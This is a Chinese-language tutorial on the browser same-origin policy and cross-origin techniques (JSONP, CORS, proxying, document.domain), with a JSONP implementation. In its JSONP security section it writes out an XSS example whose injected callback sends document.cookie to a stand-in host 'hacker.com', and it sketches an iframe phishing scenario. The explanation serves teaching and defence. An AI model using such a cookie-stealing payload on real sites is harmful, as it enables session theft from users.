同源策略:协议、域名、端口都相同,是一种安全策略,不同源的客户端脚本在没有明确授权的情况下,不能读取对方资源。
同源策略的目的:
保证用户的信息安全,防止恶意的网站盗取数据。如果缺少了同源策略,浏览器很容易受到xss、csrf的攻击。
设置同源策略的主要目的是为了安全,如果没有同源策略,在浏览器中的cookie等其他数据可以任意读取,不同域下的DOM任意操作,ajax任意请求其他网站的隐私数据。
设想这样一个场景:一个恶意网站的页面通过iframe嵌入了银行的登陆页面(两者不同源)如果没有同源策略的限制,恶意网站上的js脚本就可以在用户登录银行的时候获取用户名和密码。
(1)做一个假网站,里面用iframe嵌套一个银行网站 http://mybank.com。 (2)把iframe宽高啥的调整到页面全部,这样用户进来除了域名,别的部分和银行的网站没有任何差别。 (3)这时如果用户输入账号密码,我们的主网站可以跨域访问到http://mybank.com的dom节点,就可以拿到用户的输入了,那么就完成了一次攻击。
跨域问题是由于浏览器为了防止CSRF攻击,避免恶意攻击带来的风险而采取的同源策略限制。CSRF攻击就是利用用户的登录状态发起已请求,但是跨域不能完全阻止CSRF,因为跨域是请求发出去了,但是被浏览器拦截了响应。
同源策略只针对于浏览器端,浏览器一旦检测到请求的结果的域名不一致后,会阻塞请求结果。需要注意的是,跨域请求是可以发出去的,是响应被浏览器阻塞了。
服务器收到了请求,并且正常返回数据,但是返回的数据被浏览器阻塞掉了。所以说同源策略是限制了不同源的读(返回数据),但不限制不同源的写(发送请求)。
为什么不限制写呢?
是因为如果请求都发不出去,那在源头上就限制死了,网站之间就无法实现共享资源了。另外,限制读即浏览器拦截请求结果,一般情况下就够了,假如访问的是黑网站,那么网站无法根据请求结果进一步的操作。
同源策略的限制:
(1)不能通过ajax请求不同源中的数据
(2)浏览器中不同域的框架之间是不能进行js交互操作的。
为什么要跨域?
随着互联网的发展,同源策略越来越严格,目前,对于非同源的网站共有三种行为受到限制。
(1)Cookie、LocalStorage和IndexDB无法获取。
(2)DOM无法获得。
(3)Ajax请求不能发送。
虽然这些限制是必要的,但是有时很不方便,合理的用途也会受到影响,因此需要跨域。
有三个标签可以允许跨域加载资源:<img/>、<link/>、<script>
跨域:当协议、域名、端口不同时,会出现跨域问题
在本地模拟跨域现象:
图1 图2
图二的127.0.0.1同样也指向localhost,但是与localhost不是一个域名。所以图2会出现跨域错误并且ajax执行error()方法:
如何解决ajax跨域
(1)JSONP方式
(2)跨域资源共享(CORS),即添加响应头
(3)代理请求方式
(4)document.domain来跨越子域
一、JSONP jsonp只支持"GET"方式的传输类型
JSONP是JSON with Padding的略称。
它是一个非官方的协议,它允许在服务器端集成Script tags返回至客户端,通过javascript callback的形式实现跨域访问(这仅仅是JSONP简单的实现形式)。JSONP是一种非正式传输协议,该协议的一个要点就是允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。
解决方法:
jsp:
servlet:
jsonp的原理
动态创建<script>标签,而<script>的src属性是没有跨域限制的。
优点:
(1)兼容性好,再更加古老的浏览器中都可以运行,不需要XMLHttpRequest或ActiveX的支持;
(2)在请求完毕后可以通过callback的方式回传结果。
缺点:
(1)只支持GET方法而不支持POST等其他请求方法;
(2)它只支持跨域HTTP请求这种情况,不能解决不同域的两个页面之间如何进行js调用的问题;
(3) jsonp在调用失败的时候不会返回各种HTTP状态码;
(5)安全性问题。
可能导致的两个安全性问题:
- Callback可自定义导致的XSS攻击
- JSON劫持
XSS攻击
JSONP设置一个callback参数并传给服务器,然后服务器将其作为函数名包裹数据,这种做法方便了前后端交互,使得后端在不知道前端页面具体内容的情况下也能正确的调用。
举个栗子:
<body> <p style="color:red;">您的余额是<span id=amount>&&&amount&&&</span></p> <button id=button>付款</button> <script> $('#button').on('click',function(){ let script=document.createElement('script') script.src='/pay?callback=yyy' document.body.appendChild(script) script.onload=function(e){ e.currentTarget.remove() } script.onerror=function(e){ alert('fail'); e.currentTarget.remove() } }) window.yyy=function(result){ amount.innerText=result.left } </script> </body>
在以上代码中,函数名yy作为参数传递给服务器:script.src='/pay?callback=yyy'
但是,假如函数名yy不是正常的函数名,而是一个script标签呢??如script.src='/pay?callback=<srcript>$.get("http://hacker.com?cookie="+document.cookie)</script>'
那么,当服务器返回响应的时候,这段恶意代码就会被执行,即XSS攻击。
解决方法:对对返回的内容进行字符过滤,若返回的是script脚本内容,则过滤后就会变成普通的文本格式,脚本不会被执行。
JSON劫持又称CSRF攻击
因为jsonp是从其他域中加载代码执行,如果其他域不安全,返回的数据或代码很可能会对我们的页面或服务进行攻击,比如把我们的用户重定向到一些非法网站或者窃取用户的身份认证等。
二、CORS
网上说要添加以上两句,但是我试了一下只要最上面的一句就可以了,get和post都能访问。即:
response.setHeader("Access-Control-Allow-Origin", "*");//*允许任何域
三、代理的方式
服务器A的test01.html页面想访问服务器B的后台action,返回“test”字符串,此时就出现跨域请求,浏览器控制台会出现报错提示,由于跨域是浏览器的同源策略造成的,对于服务器后台不存在该问题,可以在服务器A中添加一个代理action,在该action中完成对服务器B中action数据的请求,然后在返回到test01.html页面。
四、document.domain
原理:设置相同的主域例子。 只能设置两个具有相同基础域的域名。
比如在aaa.com的一个网页(a.html)中利用iframe引入b.com的一个网页(b.html)
这是在a.html里面可以看到b.html的内容,但是却不能通过js来操作它,因为两个页面属于不同的域,在操作之间,js会检测两个页面的域是否相等,如果相等才允许操作。
在这里不可能把a.html与b.html利用js改成同一个域的,因为他们的基础域名不相等。(强行改成相同的域会报参数无效错误)
所以,如果a.html中引入aaa.com里的另一个网页,是可以通过js操作的。
还有另一种情况,有两个域名:
aaa.xxx.com
bbb.xxx.com
可以通过document.domain='xxx.com'实现同一基础域名之间的跨域。
document.domain的设置是有限制的,我们只能把document.domain设置成自身或更高一级的父域,且主域必须相同。
修改document.domain的方法只适用于不同子域的框架间的交互,对ajax访问的不适用。
JSONP与CORS的优缺点:
(1)JSONP的主要优势是对于浏览器的支持比较好;而CORS对于IE10一下是不支持的;
(2)JSONP只能用于获取资源(即只读,类似于get请求);CORS支持所有类型的HTTP请求,功能完善;
(3)JSONP的错误处理机制并不完善,我们没办法进行错误处理;CORS可以通过onerror事件监听错误,利于排查;
(4)JSONP只会发送一次请求;而对于复杂的请求,CORS会发送两次请求(预检);
手写jsonp代码
jsonp的作用主要是实现跨域的,同时可以实现跨域的标签有:<script>、<image>、<link>等
jsonp是通过动态<script>元素来使用的,使用时可以为src属性指定一个跨域URL。这里的<script>和<image>元素类似,都有能力不受限地从其他域加载资源。
实现思路:
(1)先处理url,包括参数以及callback函数名
(2)创建一个新的script标签到页面上
(3)把处理好地回调函数挂到window对象上
(4)回调完再删掉script
<script> window.onload=function(){ //http://www.baidu.com?aa=11&callback=my_jsonp04349289664328899 var jsonp=function(url,params,callback){ //判断url有没有参数,没有在后面加“?”,有就在参数后面接“&” var queryString=url.indexOf('?')==-1?"?":"&"; //添加参数 params的形式为{"name":"123","age":"32"} for(item in params){ queryString += item+"="+params[item]+"&"; } //处理函数名 //Math.random()为0-1之间的小数,将 小数换成整数字符串 var random=Math.random().toString().replace('.',''); var cname='my_jsonp'+random; var cb='callback='+cname; queryString+=cb;//将callback参数拼接到url后面 var script=document.createElement('script'); script.src=url+queryString; document.body.appendChild(script); //把回调函数的名字赋给window window[cname]=function(params){ //这里执行回调的操作,用来处理参数 callback(params); //拿到了就删除这个script document.body.removeChild(script); }; } jsonp("http://www.baidu.com",{aa:11},function(){ console.log(params); }) } </script>